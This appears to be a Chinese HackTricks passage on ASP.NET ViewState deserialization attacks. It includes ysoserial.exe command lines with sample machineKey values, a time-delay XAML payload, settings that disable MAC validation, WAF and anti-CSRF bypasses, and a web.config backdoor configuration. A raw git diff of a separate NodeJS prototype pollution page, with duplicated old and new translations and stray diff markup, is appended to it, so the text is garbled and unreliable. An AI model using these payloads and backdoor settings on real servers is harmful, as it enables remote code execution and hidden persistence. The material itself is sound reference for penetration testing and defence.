通常情况下,可以在**可以伪造有效的ViewState的Web服务器上运行代码**。这可以通过**禁用**MAC验证功能或者知道以下信息来实现:
|
||||
|
||||
* **在.NET Framework版本4.5之前,验证密钥及其算法**
|
||||
* **在.NET Framework版本4.5或更高版本中,验证密钥、验证算法、解密密钥和解密算法**
|
||||
|
||||
为了防止操纵攻击,.NET Framework可以使用`LosFormatter`类对已序列化的ViewState进行**签名和加密**。然后,它使用消息认证码(MAC)验证机制验证签名。`ObjectStateFormatter`类执行签名、加密和验证任务。执行签名和/或加密机制所需的**密钥可以存储在`web.config`(应用程序级别)或`machine.config`(机器级别)文件的`machineKey`部分中**。当多个Web服务器用于服务相同的应用程序时,通常会在Web Farm或集群中的负载均衡器后面使用。以下是使用.NET Framework版本2.0或更高版本的ASP.NET应用程序的配置文件中`machineKey`部分的格式示例:
|
||||
```markup
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
|
||||
```
|
||||
应该注意的是,当配置文件中没有定义`machineKey`部分或者`validationKey`和`decryptionKey`属性被设置为`AutoGenerate`时,应用程序会根据一个加密随机密钥动态生成所需的值。算法也可以自动选择。目前在最新版本的.NET Framework中,默认的验证算法是`HMACSHA256`,默认的解密算法是`AES`。更多详细信息请参见[\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection)。
|
||||
|
||||
# 禁用ViewState MAC验证的RCE
|
||||
|
||||
过去,可以通过将`enableViewStateMac`属性设置为`False`来**禁用MAC验证**。微软在2014年9月发布了一个补丁[\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/),以在所有版本的.NET Framework中忽略此属性来强制执行MAC验证。尽管我们中的一些人可能认为“_ViewState MAC不能再被禁用_”[\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET),但仍然可以通过在以下位置将`AspNetEnforceViewStateMac`注册表键设置为零来禁用MAC验证功能:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
或者,将以下**危险设置**添加到应用程序级别的`web.config`文件中也可以禁用MAC验证:
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
当ViewState MAC验证被**禁用**时,可以使用[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)项目生成`LosFormatter`负载作为ViewState,以在服务器上运行任意代码。
|
||||
{% endhint %}
|
||||
|
||||
在.NET Framework版本**4.5**之前,`__VIEWSTATE`参数可以在MAC验证功能被禁用的情况下进行**加密**。值得注意的是,**大多数扫描器**不会尝试发送未加密的ViewState参数来识别此漏洞。因此,需要进行**手动**测试以检查当`__VIEWSTATE`参数被加密时是否禁用了MAC验证。可以通过在`__VIEWSTATE`参数中发送一个短的随机base64字符串来进行检查。以下URL显示了一个示例:
|
||||
```
|
||||
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
|
||||
```
|
||||
如果目标页面**响应错误,MAC验证功能已被禁用**,否则它会抑制MAC验证错误消息。\
|
||||
然而,在无法看到错误消息的情况下,这个技巧不起作用。
|
||||
|
||||
自动化扫描器应该使用**导致服务器端短暂延迟的有效负载**。可以通过执行以下ASP.NET代码来实现,例如创建一个10秒的延迟:
|
||||
```
|
||||
System.Threading.Thread.Sleep(10000);
|
||||
```
|
||||
|
||||
```bash
|
||||
string xaml_payload = @"<ResourceDictionary
|
||||
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
|
||||
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
|
||||
xmlns:System=""clr-namespace:System;assembly=mscorlib""
|
||||
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
|
||||
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:Int32>10000</System:Int32>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>";
|
||||
```
|
||||
# 启用ViewState MAC验证的RCE
|
||||
|
||||
在旧版本(**4.5之前**),.NET Framework在**签名**序列化对象时使用**`TemplateSourceDirectory`**属性[【15】](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory)。然而,自从**4.5版本**开始,它使用**`Purpose`**字符串来创建哈希。这两种机制都需要从应用程序目录的根目录获取目标路径和页面名称。这些参数可以从URL中**提取出来**。
|
||||
|
||||
使用**旧框架**并强制执行ViewState加密的应用程序仍然可以**接受未加密的已签名ViewState**。这意味着**知道验证密钥及其算法就足够**来利用一个网站。似乎自从4.5版本以来,默认情况下ViewState被加密,即使`viewStateEncryptionMode`属性已设置为`Never`。这意味着在最新的.NET Framework版本中,为了创建有效载荷,还需要**解密密钥及其算法**。
|
||||
|
||||
ASP.NET ViewState包含一个名为`ViewStateUserKey`的属性[【16】](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\)),可用于减轻跨站请求伪造(CSRF)攻击的风险[【4】](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET)。在ViewState签名过程中,**`ViewStateUserKey`**属性的值(当它不为`null`时)也会被使用。虽然不知道此参数的值可能会阻止我们的攻击,但是**它的值通常可以在cookie或隐藏输入参数中找到**([【17】](https://software-security.sans.org/developer-how-to/developer-guide-csrf)展示了一个实现示例)。
|
||||
|
||||
## ViewState YSoSerial.Net插件
|
||||
|
||||
在YSoSerial.Net主分支和YSoSerial.Netv2中,您可以找到一个插件([**这个**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs)和[**这个**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)),用于在已知所有信息的情况下利用此技术。
|
||||
|
||||
### **对于.NET Framework >= 4.5:**
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
### **对于 .NET Framework <= 4.0(旧版):**
|
||||
|
||||
_这里不需要解密密钥和算法:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
_除了使用不同的gadget之外,还可以使用`__VIEWSTATEGENERATOR`参数**而不是提供路径**:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
_默认情况下,它使用ActivitySurrogateSelector gadget,需要在YSoSerial.Net项目中编译ExploitClass.cs类。当已知解密密钥(decryptionKey)值时,ViewState负载也可以进行加密以避免WAF的检测:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**注意:**由于YSoSerial.Net中使用的工具的性质,即使在服务器端成功执行了利用,目标ASP.NET页面也会始终响应错误。
|
||||
{% endhint %}
|
||||
|
||||
### 应用程序路径
|
||||
|
||||
为了创建一个有效的ViewState,找到应用程序路径的根目录是很重要的,除非:
|
||||
|
||||
* 应用程序使用的是.NET Framework 4.0或更低版本;且
|
||||
* 已知`__VIEWSTATEGENERATOR`参数。
|
||||
|
||||
以下截图显示了IIS中的路径树:
|
||||
|
||||
![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png)
|
||||
|
||||
如果您对IIS中的虚拟目录和应用程序术语不熟悉,可以参考[\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis)。
|
||||
|
||||
为了为上述URL生成一个ViewState,`--path`和`--apppath`参数应该如下所示:
|
||||
```
|
||||
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
|
||||
--apppath=/app2/
|
||||
```
|
||||
如果我们不知道“app2”是一个应用程序名称,我们可以使用**试错法逐个测试URL中的所有目录名称**,直到找到一个可以在服务器上执行代码的ViewState(可能通过获取DNS请求或引起延迟)。
|
||||
|
||||
### 生成器
|
||||
|
||||
在这种情况下,可以使用`--generator`参数。当已经提供了`--path`和`--apppath`参数时,可以使用`--isdebug`参数来检查插件是否也计算出相同的`__VIEWSTATEGENERATOR`参数。
|
||||
|
||||
## 利用旧版本
|
||||
|
||||
在撰写本博客文章时,尚未确定可以利用.NET Framework v1.1。
|
||||
|
||||
为了利用使用.NET Framework v4.0或更低版本的应用程序,可以使用YSoSerial.Net v2.0分支[【21】](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2)(最初作为另一项研究的一部分开发[【22】](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/))。然而,该项目仅支持有限数量的gadget,并且还需要目标主机安装.NET Framework 3.5或更高版本。
|
||||
|
||||
## **其他工具**
|
||||
|
||||
看起来Immunity Canvas支持在已知验证和加密密钥的情况下创建ViewState参数[【29】](https://vimeopro.com/user18478112/canvas/video/260982761)。以下工具也在我准备发布我的工作的同时发布,这令人惊讶:
|
||||
|
||||
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen)(使用Python编写)
|
||||
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET)(使用.NET编写)
|
||||
|
||||
我认为这些工具目前**不区分不同版本的.NET** Framework,并且针对旧版加密。此外,它们**不使用`ViewStateUserKey`**参数,该参数可能用于防止CSRF攻击。
|
||||
|
||||
# 附加提示
|
||||
|
||||
## **使用GET请求**
|
||||
|
||||
也可以通过GET请求将`__VIEWSTATE`参数发送到URL中。唯一的限制因素是URL长度,它限制了可以在此处使用的gadget类型。
|
||||
|
||||
## **在.NET Framework 4.5之前的版本中的加密**
|
||||
|
||||
如前所述,当利用.NET Framework 4.0及以下版本(在v2.0至v4.0上进行了测试)时,`__VIEWSTATE`参数不需要加密,即使已将`ViewStateEncryptionMode`属性设置为`Always`。ASP.NET通过在请求中查找`__VIEWSTATEENCRYPTED`参数(不需要任何值)来决定是否对ViewState进行了加密。因此,可以通过从请求中删除`__VIEWSTATEENCRYPTED`参数来发送未加密的ViewState。
|
||||
|
||||
这也意味着当验证密钥及其算法被窃取时,更改解密密钥或其算法无法阻止攻击。
|
||||
|
||||
可以加密`__VIEWSTATE`参数以绕过任何WAF。
|
||||
|
||||
## **绕过反CSRF(反XSRF)机制**
|
||||
|
||||
当使用无效的`__VIEWSTATE`参数时,ASP.NET页面会产生错误。然而,当代码直接使用`Request.Form`来接收输入时,页面仍然可以接收其输入,例如使用`Request.Form["txtMyInput"]`而不是`txtMyInput.Text`。通过从请求中删除`__VIEWSTATE`参数或添加具有无效值的`__PREVIOUSPAGE`参数,可以实现CSRF攻击。由于`__PREVIOUSPAGE`参数默认情况下是加密和base64格式化的,即使提供一个字符作为其值也应该会导致错误。
|
||||
|
||||
这可能会绕过通过设置`Page.ViewStateUserKey`参数实施的反CSRF保护机制。
|
||||
|
||||
## **使用ViewStateGenerator参数**
|
||||
|
||||
当已知`__VIEWSTATEGENERATOR`参数时,可以在使用.NET Framework版本4.0或更低版本的ASP.NET应用程序中使用它来对序列化对象进行签名,而无需知道应用程序路径。
|
||||
|
||||
## **通过分块绕过WAF**
|
||||
|
||||
当将**`MaxPageStateFieldLength`**属性设置为**正值**时,可以将`__VIEWSTATE`参数分成多个部分。其**默认**值为**负值**,这意味着**`__VIEWSTATE`**参数**无法分成多个部分**。
|
||||
|
||||
当允许ViewState分块时,这可能对绕过某些WAFs有用。
|
||||
|
||||
## **利用EventValidation参数**
|
||||
|
||||
`__EVENTVALIDATION`参数和其他一些参数与`__VIEWSTATE`参数类似地进行序列化,可以类似地进行目标化。通过`__EVENTVALIDATION`利用反序列化问题更加受限,需要:
|
||||
|
||||
* 一个POST请求
|
||||
* 一个接受输入参数的ASP.NET页面
|
||||
* 一个有效的输入参数名称。例如,在服务器端有以下代码时,在POST请求中使用`myinput`参数而不是`txtMyInput.Text`。
|
||||
```markup
|
||||
<asp:TextBox runat="server" ID="myinput" />
|
||||
```
|
||||
`__VIEWSTATE`参数的值在利用`__EVENTVALIDATION`参数时可以为空,但必须存在。
|
||||
|
||||
.NET Framework 4.5及以上版本使用的`Purpose`字符串用于创建有效签名,根据使用的参数不同而不同。下表显示了.NET Framework中定义的`Purpose`字符串:
|
||||
|
||||
| **输入参数** | **Purpose字符串** |
|
||||
| ------------------------------------------------------------ | -------------------------------------------------- |
|
||||
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
|
||||
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
|
||||
| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
|
||||
| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
|
||||
| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
|
||||
| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
|
||||
|
||||
上表显示了所有可能被攻击的输入参数。
|
||||
|
||||
## **注意`__PREVIOUSPAGE`参数**
|
||||
|
||||
当请求中存在具有**无效**数据的**`__PREVIOUSPAGE`**参数时,应用程序**不会**对**`__VIEWSTATE`**参数进行反序列化。提供`__CALLBACKID`参数可以防止这种行为。
|
||||
|
||||
## **错误可靠性**
|
||||
|
||||
如前所述,我们有时使用错误来检查生成的ViewState是否有效。当使用无效的`__VIEWSTATEGENERATOR`参数时,ASP.NET默认情况下不会显示MAC验证错误。当使用`ViewStateUserKey`属性时,此行为会发生变化,因为ASP.NET不再抑制MAC验证错误。
|
||||
|
||||
此外,即使使用了`ViewStateUserKey`属性,ASP.NET Web应用程序也可以通过以下设置忽略MAC验证错误:
|
||||
```markup
|
||||
<appSettings>
|
||||
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
|
||||
</appSettings>
|
||||
```
|
||||
# 将Web.config作为后门
|
||||
|
||||
如果攻击者能够更改应用程序根目录下的**`web.config`**文件,他们可以轻松在服务器上运行代码。然而,对于攻击者来说,在应用程序中嵌入一个隐秘的后门可能是一个不错的选择。这可以通过**禁用MAC验证**并将`viewStateEncryptionMode`属性设置为`Always`来实现。这意味着所有未将`ViewStateEncryptionMode`属性设置为`Auto`或`Never`的ASP.NET页面都会始终使用加密的ViewState参数。然而,由于**ViewState不使用MAC验证功能,它们现在容易受到通过反序列化不受信任的数据进行远程代码执行的攻击**。以下是一个示例:
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<system.web>
|
||||
…
|
||||
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
|
||||
</system.web>
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="false" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
另一个独立网站的选择是设置`machineKey`部分的任意密钥和算法来阻止其他攻击者!
|
||||
|
||||
需要注意的是,将`EnableViewState`属性设置为`False`并不能阻止此攻击,因为ASP.NET仍然会解析ViewState。
|
||||
**查看来自** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) **的精彩文章**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# NodeJS - \_\_proto\_\_ & 原型污染
|
||||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## JavaScript中的对象 <a href="#053a" id="053a"></a>
|
||||
|
||||
首先,我们需要理解JavaScript中的`Object`。对象只是键和值对的集合,通常称为该对象的属性。例如:
|
||||
首先,我们需要了解JavaScript中的`Object`。对象简单地是键值对的集合,通常称为对象的属性。例如:
|
||||
|
||||
![](<../../../.gitbook/assets/image (389) (1).png>)
|
||||
|
||||
在Javascript中,`Object`是一个基本对象,是所有新创建对象的模板。通过向`Object.create`传递`null`可以创建一个空对象。然而,新创建的对象也会有一个对应传递参数的类型,并继承所有基本属性。
|
||||
在JavaScript中,`Object`是一个基本对象,用于所有新创建的对象的模板。可以通过将`null`传递给`Object.create`来创建一个空对象。然而,新创建的对象也将具有与传递的参数相对应的类型,并继承所有基本属性。
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (360).png>)
|
||||
|
||||
之前我们了解到,javascript 中的对象是键和值的集合,因此一个 `null` 对象只是一个空字典:`{}`
|
||||
之前我们学习到,在JavaScript中,对象是键和值的集合,因此`null`对象就是一个空字典:`{}`
|
||||
|
||||
## Javascript 中的函数/类 <a href="#55dd" id="55dd"></a>
|
||||
## JavaScript中的函数/类 <a href="#55dd" id="55dd"></a>
|
||||
|
||||
在 Javascript 中,类和函数的概念是相当相关的(函数本身充当类的构造器,而实际上 javascript 没有“类”的概念)。让我们看以下示例:
|
||||
在JavaScript中,类和函数的概念是相互关联的(函数本身充当类的构造函数,实际上JavaScript中没有“类”的概念)。让我们看下面的例子:
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
|
@ -46,13 +46,13 @@ var person1 = new person("Satoshi", 70);
|
|||
```
|
||||
![](<../../../.gitbook/assets/image (362).png>)
|
||||
|
||||
## JavaScript 中的原型 <a href="#3843" id="3843"></a>
|
||||
## JavaScript中的原型 <a href="#3843" id="3843"></a>
|
||||
|
||||
需要注意的一点是,执行代码时可以更改/修改/删除原型属性。例如,可以动态地向类添加函数:
|
||||
需要注意的一点是,在执行代码时,原型属性可以被更改/修改/删除。例如,可以动态添加类的函数:
|
||||
|
||||
![](<../../../.gitbook/assets/image (363).png>)
|
||||
|
||||
类的函数也可以被修改(如下例中的 `toString` 或 `valueOf`):
|
||||
类的函数也可以被修改(如`toString`或`valueOf`的情况):
|
||||
|
||||
![](<../../../.gitbook/assets/image (364).png>)
|
||||
|
||||
|
@ -60,29 +60,29 @@ var person1 = new person("Satoshi", 70);
|
|||
|
||||
## 继承
|
||||
|
||||
在基于原型的程序中,对象从类继承属性/方法。通过向另一个类的实例添加属性/方法或向空对象添加属性/方法来派生类。
|
||||
在基于原型的程序中,对象从类中继承属性/方法。这些类是通过向另一个类的实例添加属性/方法或将它们添加到空对象来派生的。
|
||||
|
||||
请注意,如果您向用作一组对象原型的对象(如 myPersonObj)添加属性,则该原型的对象也会获得新属性,但除非特别调用,否则不会打印该属性。
|
||||
请注意,如果向用作一组对象原型的对象(如`myPersonObj`)添加属性,则它是原型的对象也会获得新属性,但除非明确调用,否则不会打印该属性。
|
||||
|
||||
![](<../../../.gitbook/assets/image (366).png>)
|
||||
|
||||
## \_\_proto\_\_ 污染 <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
您应该已经了解到**JavaScript 中的每个对象都仅仅是键和值对的集合**,并且**每个对象都继承自 JavaScript 中的 Object 类型**。这意味着,如果您能够污染 Object 类型,**环境中的每个 JavaScript 对象都将被污染!**
|
||||
您应该已经了解到**JavaScript中的每个对象只是键值对的集合**,并且**每个对象都继承自JavaScript中的Object类型**。这意味着,如果您能够污染Object类型,**环境中的每个JavaScript对象都将被污染!**
|
||||
|
||||
这相当简单,您只需要能够修改任意 JavaScript 对象的一些属性(键值对),因为每个对象都继承自 Object,每个对象都可以访问 Object 方案。
|
||||
这相当简单,您只需要能够修改任意JavaScript对象的一些属性(键值对),因为每个对象都继承自Object,所以每个对象都可以访问Object模式。
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
从前面的例子中,可以通过以下方式访问Object的结构:
|
||||
从前面的示例中,可以使用以下方式访问对象的结构:
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
因此,如前所述,如果现在向Object方案添加了一个属性,那么每个JavaScript对象都将能夠访问新属性:
|
||||
因此,正如之前提到的,如果现在向对象方案添加了一个属性,那么每个 JavaScript 对象都将可以访问到这个新属性:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
|
@ -95,11 +95,13 @@ person1.printHello() //This now works and prints hello
|
|||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
所以现在每个JS对象将包含新属性:函数`printHello`和新常量`globalconstant`
|
||||
|
||||
## 原型污染
|
||||
|
||||
这种技术并不像前一种技术那样有效,因为你不能污染JS对象的结构。但在**关键字`__proto__`被禁止的情况下,这种技术可能会有用**。
|
||||
这种技术不像之前的那种有效,因为你无法污染JS对象的结构。但在**禁止使用关键字`__proto__`的情况下,这种技术可能会有用**。
|
||||
|
||||
如果你能够修改函数的属性,你可以修改函数的`prototype`属性,**你在这里添加的每个新属性都会被该函数创建的每个对象继承:**
|
||||
如果你能够修改函数的属性,你可以修改函数的`prototype`属性,**在这里添加的每个新属性都将被该函数创建的每个对象继承:**
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
|
@ -116,28 +118,28 @@ person1.newConstant //This now works and is "true"
|
|||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
```
|
||||
在这种情况下,只有从`person`类创建的**对象**会受到影响,但它们现在将**继承属性`sayHello`和`newConstant`**。
|
||||
在这种情况下,只有从`person`类创建的对象会受到影响,但它们现在将继承`sayHello`和`newConstant`属性。
|
||||
|
||||
**有2种方法可以通过原型污染来污染每一个JS对象。**
|
||||
**有两种滥用原型污染以污染每个JS对象的方法。**
|
||||
|
||||
第一种方法是污染**Object**的prototype属性(如前所述,每个JS对象都继承自这个):
|
||||
第一种方法是污染**Object**的原型属性(正如之前提到的,每个JS对象都继承自此对象):
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
```
|
||||
如果您能够做到这一点,每个JS对象都将能够执行函数`sayBye`。
|
||||
如果你成功做到了,每个JS对象将能够执行函数 `sayBye`。
|
||||
|
||||
另一种方式是像下面的例子一样,对字典变量的构造器原型进行污染:
|
||||
另一种方法是毒化字典变量构造函数的原型,就像下面的例子一样:
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
```
|
||||
执行该代码后,**每个JS对象都将能够执行函数`sayHey`**。
|
||||
在执行该代码后,**每个JS对象将能够执行函数 `sayHey`**。
|
||||
|
||||
## 污染其他对象
|
||||
|
||||
### 从一个类到Object.prototype
|
||||
### 从一个类到 Object.prototype
|
||||
|
||||
在一个你可以**污染特定对象**并且需要**到达`Object.prototype`**的场景中,你可以使用类似以下代码来搜索它:
|
||||
